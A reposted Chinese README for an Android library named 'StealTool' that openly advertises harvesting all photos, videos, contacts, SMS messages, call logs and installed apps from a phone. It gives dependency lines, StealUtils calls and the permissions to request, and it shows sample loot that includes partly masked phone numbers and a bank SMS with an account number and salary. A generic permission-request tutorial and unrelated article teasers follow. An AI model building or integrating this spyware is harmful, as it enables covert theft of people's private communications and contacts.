盗取手机敏感信息,Android 6.0之上兼容

盗取手机敏感信息,Android 6.0之上兼容

项目介绍

  • 盗取信息包含:
    • 手机中所有照片
    • 手机中所有视频
    • 手机中所有通讯录
    • 手机中所有短信
    • 手机中所有通话记录
    • 手机中所有安装应用
  • 兼容Android 6.0及之上版本
  • 动态权限申请工具开放

效果展示

1.照片信息
    MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}复制代码
2.视频信息
      MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='视频时间-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}复制代码
3.通讯录
    PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鹏', number='151**054191'}PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'}PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'}PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}复制代码
4.短信
    [ 10659805436945326, 0, 【luckin coffee】小蓝杯,北马爱~送你一张5折券(全场饮品通用)下载app立享http://t.cn/RlQ2ad3 回TD退订, 2018-09-11 01:42:27, 接收 ][ 95555, 0, 您账户8693091111:42入账工资,人民币22267.30。[招商银行], 2018-09-11 11:46:28, 接收 ]复制代码
5.通话记录
     CallInfo{number='13141**2862', date=1527322406732, type=2}CallInfo{number='1891**85043', date=1527325280548, type=1}CallInfo{number='1360110**83', date=1527335837700, type=2}复制代码
6.安裝App
    AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}AppInfo{appName='皮皮虾', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}AppInfo{appName='UC浏览器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}AppInfo{appName='抖音短视频', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}复制代码

最简单使用方式

1. Add it in your root build.gradle at the end of repositories:
allprojects {repositories {...maven { url 'https://jitpack.io' }}}
复制代码
2. Add the dependency
dependencies {implementation 'com.github.pengMaster:StealTool:1.0.0'}
复制代码
3. Add use to activity
//获取图片
StealUtils.getAllLocalPhotos(this@MainActivity)//获取视频
StealUtils.getAllLocalVideos(this@MainActivity)//获取联系人
StealUtils.getAllContactInfo(this@MainActivity)//获取短信
StealUtils.getSmsInPhone(this@MainActivity)//获取通话记录
StealUtils.getCallInfos(this@MainActivity)//获取安装所有App
StealUtils.getInstallApp(packageManager)java (this) = kotlin (this@MainActivity)
java (getPackageManager()) = kotlin (packageManager)复制代码
4. add permission to your menifest
    <!--读--><uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /><!--联网--><uses-permission android:name="android.permission.INTERNET" /><!--联系人--><uses-permission android:name="android.permission.READ_CONTACTS" /><uses-permission android:name="android.permission.READ_PHONE_STATE" /><!--短信--><uses-permission android:name="android.permission.READ_SMS" /><!--通话记录--><uses-permission android:name="android.permission.READ_CALL_LOG" />
复制代码

介绍一下很好用的Android6.0动态权限申请工具

申请一个权限:

PERMISSION_CAMERA = 申请权限(例如:Manifest.permission.READ_SMS)
REQUEST_CODE_CAMERA = 请求返回码 重写onRequestPermissionsResult()时用PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA,new PermissionUtils.PermissionRequestSuccessCallBack() {@Overridepublic void onHasPermission() {// 权限已被授予}});
复制代码

然后在onRequestPermissionsResult中:

if(PermissionUtils.isPermissionRequestSuccess(grantResults)){// 权限申请成功}
复制代码

什么?要同时申请多个权限?

    PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,new PermissionUtils.PermissionRequestSuccessCallBack() {@Overridepublic void onHasPermission() {// 权限已被授予}});
复制代码

当然上面这些都不是申请权限的正确姿势,理想的姿势应该是:

  • 第一次申请权限:按照正常流程走;
  • 如果用户第一次拒绝了权限申请,第二次申请时应向用户解释权限用途;
  • 如果用户勾选了“不再询问”选项,应引导用户去设置页手动开启权限。

于是,引申出了复杂版的权限申请方法:

自定义权限申请:

PERMISSION_CAMERA = 申请权限(例如:Manifest.permission.READ_SMS)
PermissionUtils.checkPermission(mContext, PERMISSION_CAMERA,new PermissionUtils.PermissionCheckCallBack() {@Overridepublic void onHasPermission() {// 已授予权限}@Overridepublic void onUserHasAlreadyTurnedDown(String... permission) {// 上一次申请权限被拒绝,可用于向用户说明权限原因,然后调用权限申请方法。}@Overridepublic void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {// 第一次申请权限或被禁止申请权限,建议直接调用申请权限方法。}});
复制代码

然后在onRequestPermissionsResult中:

PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {@Overridepublic void onHasPermission() {}@Overridepublic void onUserHasAlreadyTurnedDown(String... permission) {Toast.makeText(mContext, "我们需要"+Arrays.toString(permission)+"权限", Toast.LENGTH_SHORT).show();}@Overridepublic void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {Toast.makeText(mContext, "我们需要"+Arrays.toString(permission)+"权限", Toast.LENGTH_SHORT).show();// 显示前往设置页的dialog);}});
复制代码

参与贡献

  1. Fork 本项目
  2. 新建 Feat_xxx 分支
  3. 提交代码
  4. 新建 Pull Request
  5. 权限工具参考:github.com/ifadai/Perm…

github地址

  • 项目地址:github.com/pengMaster/…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/282175.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

再记一次Memory Leak分析

性能是优化出来的&#xff0c;不管是在上生产前&#xff0c;还是在上生产后。大部分性能在性能测试阶段就能发现问题&#xff0c;但也有一些性能问题&#xff0c;结合生产的环境&#xff0c;生产数据才能表现出来&#xff0c;成为一个显著的瓶颈。这次是生成pdf造成的内存泄露&…

PHP格式化全国省市区列表

一、代码部分 /*** 获取全国省市区列表&#xff08;格式化后&#xff09;*/public function getRegionList(){$data CoreRegion::find()->select([national_code, region_name, parent_id, region_level])->asArray()->all();$data $this->assembleRegionData($…

《C语言开发从入门到精通》一2.4 技术解惑

本节书摘来自异步社区《C语言开发从入门到精通》一书中的第2章&#xff0c;第2.4节&#xff0c;作者王长青 , 韩海玲&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看。 2.4 技术解惑 2.4.1 安装Visual Studio的几个常见问题 Visual Studio 2010容量巨大&…

POM思想__首页页面元素查找、功能点实现进行封装

一、代码如下 package www.gui.huohu.pom;import java.util.concurrent.TimeUnit;import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.firefox.FirefoxDriver; import org.openqa.sele…

061_Apex 异常捕捉

Trigger 中的错误处理 在 Trigger 中&#xff0c;我们可以为进行操作的数据进行验证&#xff0c;类似于验证规则。如果遇到不符合条件的数据&#xff0c;可以通过 addError() 函数来将错误显示给用户&#xff0c;并记录日志。 在如下代码中&#xff0c;当一个“业务机会”对象被…

从 C# 崩溃异常 中研究 页堆 布局

一&#xff1a;背景 1.讲故事最近遇到一位朋友的程序崩溃&#xff0c;发现崩溃点在富编辑器 msftedit 上&#xff0c;这个不是重点&#xff0c;重点在于发现他已经开启了 页堆 &#xff0c;看样子是做了最后的挣扎。0:000> !analyze -v EXCEPTION_RECORD: (.exr -1) Except…

Win10笔记本不显示wifi列表

一、问题描述 1、连接有线网络时&#xff0c;只显示连接到的有线网络&#xff0c;而不显示wifi列表 2、不连接有线网络时&#xff0c;同样不显示wifi列表 二、解决方案 1、Win R 打开运行&#xff0c;并输入services.msc 2、回车确定&#xff0c;找到WLAN AutoConfig项&…

《游戏大师Chris Crawford谈互动叙事》一22.1 互动叙事前途无量

本节书摘来异步社区《游戏大师Chris Crawford谈互动叙事》一书中的第22章&#xff0c;第22.1节&#xff0c;作者&#xff1a; 【美】Chris Crawford译者&#xff1a; 方舟 责编&#xff1a; 陈冀康&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看。 22.1 互动…

交换两个局部变量Integer的值

反射是很强大的&#xff0c;谁说的final修饰的就不能改变&#xff0c; 通过反射获取成员变量&#xff0c;之后可以取消访问修饰符&#xff0c;也就是说private的也可以访问&#xff0c; 在修改常量&#xff08;final修饰的&#xff09;&#xff0c;之后就可以对其做任何操作了 …

搭建WeApacheb网站服务器

本地yum源安装mkdir /opt/dvd (先用mkdir去根下opt目录下建一个名字叫dvd的目录)mount /dev/sr0 /opt/dvd (用mount命令&#xff0c;挂载光盘设备&#xff08;/dev/sr0&#xff09;,将光盘挂载到刚刚建立的dvd目录下&#xff08;/opt/dvd&#xff09;)写yum源配置文件|-cd…

PHP的构成及生命周期

一、PHP开源源代码下载地址&#xff1a; https://github.com/php/php-src.git 二、PHP的构成 1、目录结构 2、目录分析 &#xff08;1&#xff09;sapi目录是PHP的应用接口层。 &#xff08;2&#xff09;main为php的主要代码&#xff0c;主要是输入/输出、Web通信、PHP框架…

《Adobe After Effects CS6完全剖析》——动画:最重要的是关系

本节书摘来自异步社区《Adobe After Effects CS6完全剖析》一书中的第2章&#xff0c;动画&#xff1a;最重要的是关系&#xff0c;作者 【美】Mark Christiansen&#xff08;马克克里斯琴森&#xff09;&#xff0c;译者 苗玉敏&#xff0c;郭圣路&#xff0c;曹玉臣&#xff…

Oracle即将发布的全新Java垃圾收集器 ZGC

Java 11的特性集合已经确定&#xff0c;其中包含了一些非常棒的特性。新版本提供了一个全新的垃圾回收器ZGC&#xff0c;它由甲骨文开发&#xff0c;承诺在TB级别的堆上实现非常低的停顿时间。在本文中&#xff0c;我们将介绍甲骨文开发ZGC的动机、ZGC的技术概览以及ZGC带来的一…

如何获取 OSS AccessKeyId、AccessKeySecret

开通阿里云oss&#xff1a;https://www.aliyun.com/product/oss 1、点击概览 — AccessKey 注&#xff1a;官方链接 2、出现下图&#xff0c;选择“开始使用子用户Access Key” 3、填写用户名&#xff0c;并点击确定 4、这时会给你的手机发送验证码确定是本人操作&#xff0c;…

【网络爬虫入门02】HTTP客户端库Requests的基本原理与基础应用

【网络爬虫入门02】HTTP客户端库Requests的基本原理与基础应用 广东职业技术学院 欧浩源 2017-10-15 1、引言 实现网络爬虫的第一步就是要建立网络连接并向服务器或网页等网络资源发起请求。urllib是目前最常用的做法&#xff0c;然而Requests会比urlib更加方便&#xff0c;能…

5分钟内看懂机器学习和深度学习的区别

欢迎大家前往腾讯云社区&#xff0c;获取更多腾讯海量技术实践干货哦~ 本文由liuxuewen 发表于云社区专栏 在本文中&#xff0c;我们将研究深度学习和机器学习之间的差异。我们将逐一了解它们&#xff0c;然后讨论他们在各个方面的不同之处。除了深度学习和机器学习的比较外&am…

《零信任的基石:使用 SPIFFE 为基础设施创建通用身份》翻译电子书分享

国庆假期除了去浙江和安徽玩了一圈欣赏江南山水和徽派建筑之外&#xff0c;还抽空翻译了一本电子书。本书译自 Solving the Bottom Turtle — a SPIFFE Way to Establish Trust in Your Infrastructure via Universal Identity。你可以选择在线阅读&#xff08;推荐&#xff09…

《Outlook时间整理术》一创建和使用自己的文件夹结构

本节书摘来异步社区《Outlook时间整理术》一书中的第1章&#xff0c;作者&#xff1a; 【德】Lothar Seiwert , Holger Woeltje 译者&#xff1a; 欧阳宇&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看。 创建和使用自己的文件夹结构 花费约两小时为电子邮件…

PHP 使用 OSS上传文件

一、安装阿里云 oss sdk 1、在网站根目录执行下面命令&#xff0c;安装oss sdk。 composer require aliyuncs/oss-sdk-php 安装后&#xff0c;会在 网站根目录/vendor 下找到一个名为 aliyuncs 的文件夹。 注&#xff1a;[阿里云 oss - sdk 文档&#xff08;可不用关注&…

webpack常用配置

1.加载CSS 命令行输入 npm install --save-dev style-loader css-loader webpack.config.js配置如下 const path require(path);module.exports {entry: ./src/index.js,output: {filename: bundle.js,path: path.resolve(__dirname, dist)},module: {rules: [{test: /\.css$…